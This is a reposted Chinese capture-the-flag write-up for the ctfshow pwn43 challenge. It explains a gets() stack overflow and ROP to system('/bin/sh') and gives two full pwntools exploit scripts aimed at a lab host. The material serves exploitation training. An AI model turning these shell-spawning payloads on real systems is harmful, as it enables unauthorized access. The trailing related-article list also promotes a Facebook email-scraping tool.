ctfshow pwn43

1. 分析程序

首先檢查程序相關保護,發現程序為32位且只開啟了一個NX保護

checksec pwn

使用IDA進行逆向分析代碼,查看漏洞觸發點:

在main函數中,有一個ctfshow函數,這里我們跟進ctfshow()

????????發現存在一個gets()函數,此函數寫法存在漏洞,我們可以輸入任意長度的字符串,進而棧溢出。這里需要達到溢出的地址為offect=0x6c+4

  • 當程序執行到 gets() 時:
    • 程序會阻塞等待用戶輸入
    • 用戶通過鍵盤(或輸入重定向)輸入數據
    • 它可以無限讀取,不會判斷上限,可以包含空格,以回車結束讀取。
    • 輸入的數據會被原樣復制buf 指向的內存中

????????同時我們注意到,程序存在一個函數hint(),但是hint()函數只有system系統函數,沒有了“/bin/sh”等敏感字符串,這時候我們就要想辦法寫入“/bin/sh”

????????先運行程序,查看程序可寫段,發現在0x804b000-0x804c000段存在讀寫權限(rw),這時我們可以通過get將惡意代碼寫入這個地址段上,然后getshell。

獲取system以及get函數的地址:0x08048450、0x08048420

objdump -d -t .plt pwn | grep systemobjdump -d -t .plt pwn | grep gets

????????buffer地址選擇,這里我們可以直接找到一個參數buf2,我們也可以直接寫在地址上,只要寫入的范圍不超過0x804b000-0x804c000即可,這里我看到有個博主的博客有人提問,為什么博主將buf2的地址設置為0x804c000-16,另外一個師傅說大于8可以,小于8就不行了。原因就是寫入范圍不能超過0x804b000-0x804c000

2. 漏洞編寫

首先確定基本信息

from pwn import *
context(arch="i386",os="linux")
io = remote("192.168.79.135",10001)

????????接著構造payload信息,需要計算偏移量,system函數的地址、相關占位符、以及sh的地址。這里我們可以構造兩個payload

poc1:

payload = cyclic(0x6c+4) + p32(gets) + p32(system) + p32(buffer) + p32(buffer)
  • p32(gets):這是 gets() 函數的地址,我們將覆蓋函數返回地址為 gets() 函數的地址,這樣在程序返回時會跳轉到 gets() 函數執行,我們就可以利用 gets() 函數從輸入中獲取數據。
  • p32(system):這是 system() 函數的地址,我們將覆蓋 gets() 函數的返回地址為 system() 函數的地址,這樣在 gets() 函數執行完畢后,程序會繼續執行 system() 函數。

poc2:

payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buffer) + p32(system)
+ 'aaaa' + p32(buffer)
  • cyclic(0x6c+4):通常是用來填充緩沖區和覆蓋返回地址的填充數據,0x6c+4即偏移量,保證覆蓋到返回地址。
  • p32(gets):將 gets 函數地址壓入棧,準備調用 gets(buf2),即讓程序從標準輸入讀入數據到緩沖區 buf2
  • p32(pop_ebx):這里的 pop_ebx 是一個地址,指向一條 pop ebx; ret 或類似指令的片段(gadget)。這條gadgets用來彈出棧中的一個值到ebx寄存器,并返回。
  • p32(buf2):棧上的參數,給 pop_ebx 彈出到 ebx 中,通常是 gets 的參數,即 gets(buf2)
  • p32(system):調用 system 函數地址,目的是執行 system(buf2),即執行剛剛通過 gets 輸入的命令。
  • 'aaaa':填充參數,可能是為了棧對齊或占位。
  • p32(buf2):作為 system 的參數。

"/bin/sh"與"sh"區別

system("/bin/sh") :

  1. 在Linux和類Unix系統中, /bin/sh 通常是一個符號鏈接,指向系統默認的shell程序(如Bash或Shell)。因此,使用 system("/bin/sh") 會啟動指定的shell程序并在新的子進程中執行
  2. 這種方式可以確保使用系統默認的shell程序執行命令,因為 /bin/sh 鏈接通常指向默認shell的可執行文件

system("sh"):

  1. 使用 system("sh") 會直接啟動一個名為 sh 的shell程序,并在新的子進程中執行
  2. 這種方式假設系統的環境變量 $PATH 已經配置了能夠找到 sh 可執行文件的路徑,否則可能會導致找不到 sh 而執行失敗

完整的payload如下:

payload1:

from pwn import *
p = remote('192.168.79.135', 10001)
system_addr = 0x8048450
buf2_addr = 0x804B060+10
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(0x6c+4) + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
print(payload)
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()

payload2:

from pwn import *
p = remote('192.168.79.135', 10001)
system_addr = 0x8048450
buf2_addr = 0x804B000+10
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(0x6C+4) + p32(gets_addr) + p32(pop_ebx) + p32(buf2_addr) +p32(system_addr) + b'aaaa' + p32(buf2_addr)
print(payload)
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()

3. 漏洞驗證

????????服務端啟動相關程序,掛載至本地的10001端口上:sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn

????????攻擊端運行編寫好的程序,可以看到獲取了服務端的權限

4. 總結

4.1. 利用poc1

為什么 "/bin/sh" 要第二次發送?

  • 第一次發送 payload:覆蓋棧,調用 gets(buf2)
  • 第二次發送 "/bin/sh"gets() 會等待輸入,寫入 buf2,使其成為 system() 的參數。

為什么 buf2 能同時作為 gets()system() 的參數?

  • gets(buf2)
    • buf2gets() 的參數,表示輸入寫入的目標地址。
    • 用戶輸入 "/bin/sh" 后,buf2 存儲了該字符串。
  • system(buf2)
    • 此時 buf2 已經是 "/bin/sh" 的地址,因此 system() 可以正確執行。

關鍵點

  • buf2 是一個 固定可寫地址(如 .bss 段),兩次使用的是同一地址的不同用途:
    • 第一次:gets() 寫入數據的目標地址。
    • 第二次:system() 讀取字符串的地址。

4.2. 利用poc2

pop ebx 是必須的嗎?

  • 這里用于清理棧(彈出 buf2),避免干擾 system() 的參數讀取。
  • 如果去掉 pop ebx,棧會錯位,導致 system() 讀取錯誤參數。

為什么需要 pop ebx

  • gets() 的調用約定
    cdecl 約定下,gets() 的參數由調用者清理(即 add esp, 4)。
    但攻擊者無法直接執行代碼,只能通過 ROP 鏈模擬棧平衡。
  • pop ebx 的作用
    彈出 gets() 的參數 buf2,使棧指針 ESP 指向 system() 的返回地址,確保 system() 讀取正確的參數。

步驟

棧變化

關鍵操作

發送 payload

覆蓋返回地址為 gets()

劫持控制流

發送 "/bin/sh"

寫入 buf2

準備 system()

參數

gets()

返回

跳轉到 pop ebx

清理棧

pop ebx

彈出 buf2

調整棧指針

system()

調用

讀取 buf2

作為參數

執行 system("/bin/sh")

假設目標函數的棧幀如下:

發送 payload后,棧被覆蓋

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/90291.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/90291.shtml
英文地址,請注明出處:http://en.pswp.cn/web/90291.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

內網IM:BeeWorks私有化部署的安全通訊解決方案

在當今數字化辦公環境中,內網IM已成為企業保障數據安全的核心工具。BeeWorks作為一款支持私有化部署的內網IM解決方案,能夠幫助企業構建完全自主可控的通訊系統。無論是政府機構、金融機構,還是對數據安全要求極高的企業,BeeWorks…

SHA512算法詳解

SHA-512 是 SHA-2(Secure Hash Algorithm 2)系列密碼散列函數的重要成員,由美國國家安全局(NSA)設計,2001 年被納入 NIST(美國國家標準與技術研究院)的 FIPS 180 標準,后…

通過python管理vcenter中的虛擬機

通過python管理vcenter中的虛擬機因業務需要,需在夜間關閉虛擬機,隨通過計劃任務遠程管理開機、關機虛擬機一、通過docker配置python3.9環境 Dockerfile FROM python:3.9 RUN pip3 install pyvmomi7.0.0創建自定義鏡像 docker build -t pyvmomi7:v1 .二…

AWS S3 生命周期管理最佳實踐:IoT Core 日志的智能存儲優化

在現代物聯網應用中,設備日志數據的管理是一個重要挑戰。隨著設備數量的增長,日志數據量呈指數級增長,如何有效管理這些數據的存儲成本成為關鍵問題。本文將分享如何為 AWS IoT Core 日志實施智能生命周期管理策略。 背景與挑戰 IoT 設備產生的日志數據具有以下特點: 數據…

18.TaskExecutor獲取ResourceManagerGateway

TaskExecutor獲取ResourceManagerGatewayTaskExecutor 與 ResourceManager 之間的交互機制較為復雜,核心可以拆分為三個階段: 首次發現與注冊連接建立心跳維持 本文聚焦連接建立階段,詳細分析底層 RPC 連接的實現原理。回顧:start…

kafka查看消息的具體內容 kafka-dump-log.sh

目錄kafka 消息查看1. 直接查看日志文件內容步驟:2. 使用 Kafka 工具查看日志主要參數說明常用命令:輸出說明:3. 注意事項kafka 消息日志文件詳解我們有時候遇到這樣的需求,需要查看下kafka消息的內容。 kafka 消息查看 查看 Ka…

Spring Cloud OpenFeign 常用注解_筆記

Spring Cloud OpenFeign 提供了一種聲明式、模板化的HTTP客戶端,可以通過簡單的接口描述遠程調用,而不必手動編寫低級的 HTTP 客戶端代碼。FeignClient用法參考:FeignClient用法-筆記-CSDN博客。這里梳理Spring Cloud OpenFeign 常用注解。 1…

移動端自動化Appium框架

文章目錄環境搭建JAVAAndroid SDKGenymotion模擬器環境搭建 JAVA 1、安裝JDK 從官網下載所需安裝包,默認安裝即可。 https://www.oracle.com/cn/java/technologies/downloads/ 2、配置環境變量 設置 - 編輯系統環境變量 - 環境變量。 系統變量下新建JAVA_HOME&a…

算法第26天|貪心算法:用最少數量的箭引爆氣球、無重疊區間、劃分字母區間

今日總結 用最少數量的箭引爆氣球 題目鏈接:452. 用最少數量的箭引爆氣球 - 力扣(LeetCode) 代碼隨想錄 整體思路: 1、統一度量 : 將所有區間按照左端點進行排序: 用到了二維的sort,在類中需…

最新版的electron通信規則

介紹: 以前electron require(electron/remote).fs 就能調用node中的各種api,最新版可能為了安全考慮,除了主main.js入口文件以外,其他的地方都不能調用node中的api,比如里面的各種函數,如fs,path等。這節課來教大家最新版本的electron如何進行通信。 結構: 了解通信之前…

Python爬蟲實戰:研究PyPLN庫相關技術

1. 引言 隨著全球化的發展,葡萄牙語作為世界第六大語言,其在互聯網上的文本數據量不斷增長。如何從海量的葡萄牙語文本中提取有價值的信息,成為自然語言處理領域的重要研究方向。 PyPLN (Python Natural Language Processing Toolkit) 是一個專門針對葡萄牙語設計的自然語言…

層次分析法代碼筆記

層次分析法 一、核心 在層次分析法中,通過 算術平均法、幾何平均法、特征值法 計算指標權重,再通過 一致性檢驗 確保判斷矩陣邏輯合理,為多準則決策提供量化依據。 二、代碼 (一)一致性檢驗(判斷矩陣合理性…

[精選] 2025最新生成 SSH 密鑰和 SSL 證書的標準流程(Linux/macOS/Windows系統服務器通用方案)

[精選] 2025最新生成 SSH 密鑰和 SSL 證書的標準流程(Linux/macOS/Windows系統服務器通用方案) 在現代網絡中,SSH(安全外殼協議)和 SSL(安全套接層協議)是保證數據傳輸安全和身份驗證的重要技術…

開發框架安全ThinkPHPLaravelSpringBootStruts2SpringCloud復現

PHP-ThinkphpLaravelThinkPHP是一套開源的、基于PHP的輕量級Web應用開發框架綜合工具:武器庫-Thinkphp專檢(3-6版本)如何判斷是TP6框架開發的web程序,基于源碼、路徑、圖標、基于報錯可發現dex.php?xxx 在其6.0.13版本及以前/?c…

uniapp+vue3小程序點擊保存圖片、保存二維碼

介紹 步驟1:引入必要的API 在script部分,確保引入了uni的相關API,如uni.downloadFile和uni.saveImageToPhotosAlbum。 步驟2:下載圖片到本地 在toInvite函數中,使用uni.downloadFile將圖片下載到本地,并獲取本地路徑。 步驟3:處理權限和保存邏輯 在saveToAlbum函數…

Golang中GROM多表關聯跟原生SQL多表關聯區別

文章目錄前言一、GROM多表關聯二、原生Sql多表關聯前言 對比GROM多表關聯和原生Sql多表關聯 一、GROM多表關聯 適用于返回全部數據需要邏輯外鍵(不會在數據庫創建任何約束)適合三個表以下的關聯有幾張表就會查詢幾次 type Product struct {gorm.Model …

設計模式六:工廠模式(Factory Pattern)

概念定義一個創建對象的接口&#xff0c;但讓子類決定實例化哪個類。實現示例#include <iostream> #include <memory>// 產品基類 class Product { public:virtual void use() 0;virtual ~Product() default; };// 具體產品A class ConcreteProductA : public Pr…

應用層自定義協議【序列化+反序列化】

文章目錄再談 “協議”重新理解read、write、recv、send和tcp為什么支持全雙工Server.cc網絡版計算機實現Socket封裝&#xff08;模板方法類&#xff09;socket.hpp定制協議JsonJson安裝定義一個期望的報文格式Protocol.hppParser.hppCalculator.hpp完整的處理過程Client.cc三層…

dify創建OCR工作流

實現ocr識別文件內容&#xff0c;引用dify的一個插件&#xff0c;插件名稱&#xff1a;mineru 引用在線版本mineru 具體操作說明&#xff0c;參見視頻&#xff1a; 第六篇&#xff1a;DifyOCR&#xff0c;掃描件最優解_嗶哩嗶哩_bilibili 引用本地部署mineru 上面的這種使用…

備受關注的“Facebook Email Scraper”如何操作?

Facebook Email Scraper&#xff08;臉書郵箱提取工具&#xff09;是一類用于從Facebook平臺提取公開郵箱信息的工具&#xff0c;其核心功能是通過解析用戶主頁、群組、頁面等公開內容&#xff0c;識別并提取其中包含的郵箱地址&#xff0c;為用戶提供結構化的聯系方式數據。這…